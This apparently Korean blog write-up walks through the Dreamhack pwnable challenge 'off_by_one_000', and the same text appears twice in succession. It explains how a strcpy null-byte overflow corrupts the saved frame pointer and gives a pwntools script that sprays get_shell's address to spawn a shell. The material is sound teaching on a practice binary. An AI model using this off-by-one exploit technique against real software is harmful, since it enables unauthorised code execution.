off_by_one_000 문제풀이
1. 취약점 확인
먼저 checksec 으로 취약점을 확인해보자
[*] '/home/gunp4ng/working/dreamhack/off_by_one_000/off_by_one_000'
Arch: i386-32-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x8048000)
Stripped: No
x86 아키텍처에 NX-bit, Partial RELRO 가 적용된 것을 볼 수 있다
1. C 코드
#include <stdio.h>
#include <stdlib.h>
#include <signal.h>
#include <unistd.h>
#include <string.h>
char cp_name[256];
void get_shell()
{
system("/bin/sh");
}
void alarm_handler()
{
puts("TIME OUT");
exit(-1);
}
void initialize()
{
setvbuf(stdin, NULL, _IONBF, 0);
setvbuf(stdout, NULL, _IONBF, 0);
signal(SIGALRM, alarm_handler);
alarm(30);
}
int cpy()
{
char real_name[256];
strcpy(real_name, cp_name);
return 0;
}
int main()
{
initialize();
printf("Name: ");
read(0, cp_name, sizeof(cp_name));
cpy();
printf("Name: %s", cp_name);
return 0;
}
셸을 실행할 수 있는 get_shell() 함수가 존재한다
int cpy()
{
char real_name[256];
strcpy(real_name, cp_name);
return 0;
}
cpy() 함수의 코드를 살펴보자
cp_name 의 내용을 real_name 에 복사한다
cp_name 의 크기가 256 이라면 real_name 에 257 크기(256 + NULL)의 값이 복사된다
→ off-by-one 취약점이 발생한다
※ strcpy 함수는 문자열 끝에 NULL 까지 같이 복사하는 것을 알 수 있다.
→ C언어에서 scanf 함수는 문자열 뒤에 NULL 을 붙인다.
하지만 read 함수는 NULL 을 붙이지 않는다
2. 어셈블리
main 함수의 어셈블리이다
Dump of assembler code for function main:
0x08048670 <+0>: push ebp
0x08048671 <+1>: mov ebp,esp
0x08048673 <+3>: call 0x8048605 <initialize>
0x08048678 <+8>: push 0x8048751
0x0804867d <+13>: call 0x8048440 <printf@plt>
0x08048682 <+18>: add esp,0x4
0x08048685 <+21>: push 0x100
0x0804868a <+26>: push 0x804a060
0x0804868f <+31>: push 0x0
0x08048691 <+33>: call 0x8048430 <read@plt>
0x08048696 <+38>: add esp,0xc
0x08048699 <+41>: call 0x804864c <cpy>
0x0804869e <+46>: push 0x804a060
0x080486a3 <+51>: push 0x8048758
0x080486a8 <+56>: call 0x8048440 <printf@plt>
0x080486ad <+61>: add esp,0x8
0x080486b0 <+64>: mov eax,0x0
0x080486b5 <+69>: leave
0x080486b6 <+70>: ret
End of assembler dump.
pwndbg> p get_shell
$1 = {<text variable, no debug info>} 0x80485db <get_shell>
get_shell() 함수의 주소는 0x80485db 인 것을 알 수 있다
2. 익스플로잇 구성
1. 익스플로잇 구성
- cp_name 에 get_shell() 함수의 주소를 256 만큼 채운다
off-by-one 취약점에 의해 ebp 가 조작되어 get_shell() 함수를 실행시킬 수 있을 것이다.
2. cp_name 에 get_shell() 주소 입력
from pwn import *
context.log_level = 'debug'
context(arch='i386', os='linux')
p = process('./off_by_one_000')
# p = remote('host3.dreamhack.games', 21598)
get_shell = 0x80485db
# payload
payload = p32(get_shell) * 64
p.recvuntil('Name: ')
pause()
p.send(payload)
p.interactive()
get_shell() 함수의 주소를 256 만큼 cp_name 에 입력하는 코드이다
cpy() 함수에서 strcpy() 함수를 실행하기 전에 break 를 걸고 ebp 레지스터를 확인해보자

ebp 레지스터의 값이 0xffffd1f8 인 것을 볼 수 있다
strcpy() 함수 실행 후 ebp 레지스터를 확인해보자

ebp 레지스터의 값이 0xffffd100 인 것을 볼 수 있다
→ off-by-one 취약점에 의해 1byte 값이 NULL 로 바뀐 것을 알 수 있다
esp 레지스터를 확인해보면

값이 잘 들어간 것을 확인할 수 있다
다시 main 함수로 돌아와서 ebp 값을 확인해보면

ebp 가 get_shell() 함수를 가리키는 것을 알 수 있다
main 함수에서 leave, ret 을 수행할 때
ret 에 get_shell() 주소가 들어가게 되어 셸을 얻을 수 있다

플래그를 얻은 것을 확인할 수 있다
'War Game > Pwnable' 카테고리의 다른 글
[Dreamhack] send_sig (0) | 2025.03.26 |
---|---|
[Dreamhack] off_by_one_001 (0) | 2025.03.17 |
[sschall] tutor_rop (0) | 2024.10.17 |
[sschall] pie (0) | 2024.10.15 |
[sschall] adult_canary (0) | 2024.10.03 |
off_by_one_000 문제풀이
1. 취약점 확인
먼저 checksec 으로 취약점을 확인해보자
[*] '/home/gunp4ng/working/dreamhack/off_by_one_000/off_by_one_000'
Arch: i386-32-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x8048000)
Stripped: No
x86 아키텍처에 NX-bit, Partial RELRO 가 적용된 것을 볼 수 있다
1. C 코드
#include <stdio.h>
#include <stdlib.h>
#include <signal.h>
#include <unistd.h>
#include <string.h>
char cp_name[256];
void get_shell()
{
system("/bin/sh");
}
void alarm_handler()
{
puts("TIME OUT");
exit(-1);
}
void initialize()
{
setvbuf(stdin, NULL, _IONBF, 0);
setvbuf(stdout, NULL, _IONBF, 0);
signal(SIGALRM, alarm_handler);
alarm(30);
}
int cpy()
{
char real_name[256];
strcpy(real_name, cp_name);
return 0;
}
int main()
{
initialize();
printf("Name: ");
read(0, cp_name, sizeof(cp_name));
cpy();
printf("Name: %s", cp_name);
return 0;
}
셸을 실행할 수 있는 get_shell() 함수가 존재한다
int cpy()
{
char real_name[256];
strcpy(real_name, cp_name);
return 0;
}
cpy() 함수의 코드를 살펴보자
cp_name 의 내용을 real_name 에 복사한다
cp_name 의 크기가 256 이라면 real_name 에 257 크기(256 + NULL)의 값이 복사된다
→ off-by-one 취약점이 발생한다
※ strcpy 함수는 문자열 끝에 NULL 까지 같이 복사하는 것을 알 수 있다.
→ C언어에서 scanf 함수는 문자열 뒤에 NULL 을 붙인다.
하지만 read 함수는 NULL 을 붙이지 않는다
2. 어셈블리
main 함수의 어셈블리이다
Dump of assembler code for function main:
0x08048670 <+0>: push ebp
0x08048671 <+1>: mov ebp,esp
0x08048673 <+3>: call 0x8048605 <initialize>
0x08048678 <+8>: push 0x8048751
0x0804867d <+13>: call 0x8048440 <printf@plt>
0x08048682 <+18>: add esp,0x4
0x08048685 <+21>: push 0x100
0x0804868a <+26>: push 0x804a060
0x0804868f <+31>: push 0x0
0x08048691 <+33>: call 0x8048430 <read@plt>
0x08048696 <+38>: add esp,0xc
0x08048699 <+41>: call 0x804864c <cpy>
0x0804869e <+46>: push 0x804a060
0x080486a3 <+51>: push 0x8048758
0x080486a8 <+56>: call 0x8048440 <printf@plt>
0x080486ad <+61>: add esp,0x8
0x080486b0 <+64>: mov eax,0x0
0x080486b5 <+69>: leave
0x080486b6 <+70>: ret
End of assembler dump.
pwndbg> p get_shell
$1 = {<text variable, no debug info>} 0x80485db <get_shell>
get_shell() 함수의 주소는 0x80485db 인 것을 알 수 있다
2. 익스플로잇 구성
1. 익스플로잇 구성
- cp_name 에 get_shell() 함수의 주소를 256 만큼 채운다
off-by-one 취약점에 의해 ebp 가 조작되어 get_shell() 함수를 실행시킬 수 있을 것이다.
2. cp_name 에 get_shell() 주소 입력
from pwn import *
context.log_level = 'debug'
context(arch='i386', os='linux')
p = process('./off_by_one_000')
# p = remote('host3.dreamhack.games', 21598)
get_shell = 0x80485db
# payload
payload = p32(get_shell) * 64
p.recvuntil('Name: ')
pause()
p.send(payload)
p.interactive()
get_shell() 함수의 주소를 256 만큼 cp_name 에 입력하는 코드이다
cpy() 함수에서 strcpy() 함수를 실행하기 전에 break 를 걸고 ebp 레지스터를 확인해보자

ebp 레지스터의 값이 0xffffd1f8 인 것을 볼 수 있다
strcpy() 함수 실행 후 ebp 레지스터를 확인해보자

ebp 레지스터의 값이 0xffffd100 인 것을 볼 수 있다
→ off-by-one 취약점에 의해 1byte 값이 NULL 로 바뀐 것을 알 수 있다
esp 레지스터를 확인해보면

값이 잘 들어간 것을 확인할 수 있다
다시 main 함수로 돌아와서 ebp 값을 확인해보면

ebp 가 get_shell() 함수를 가리키는 것을 알 수 있다
main 함수에서 leave, ret 을 수행할 때
ret 에 get_shell() 주소가 들어가게 되어 셸을 얻을 수 있다

플래그를 얻은 것을 확인할 수 있다
'War Game > Pwnable' 카테고리의 다른 글
[Dreamhack] send_sig (0) | 2025.03.26 |
---|---|
[Dreamhack] off_by_one_001 (0) | 2025.03.17 |
[sschall] tutor_rop (0) | 2024.10.17 |
[sschall] pie (0) | 2024.10.15 |
[sschall] adult_canary (0) | 2024.10.03 |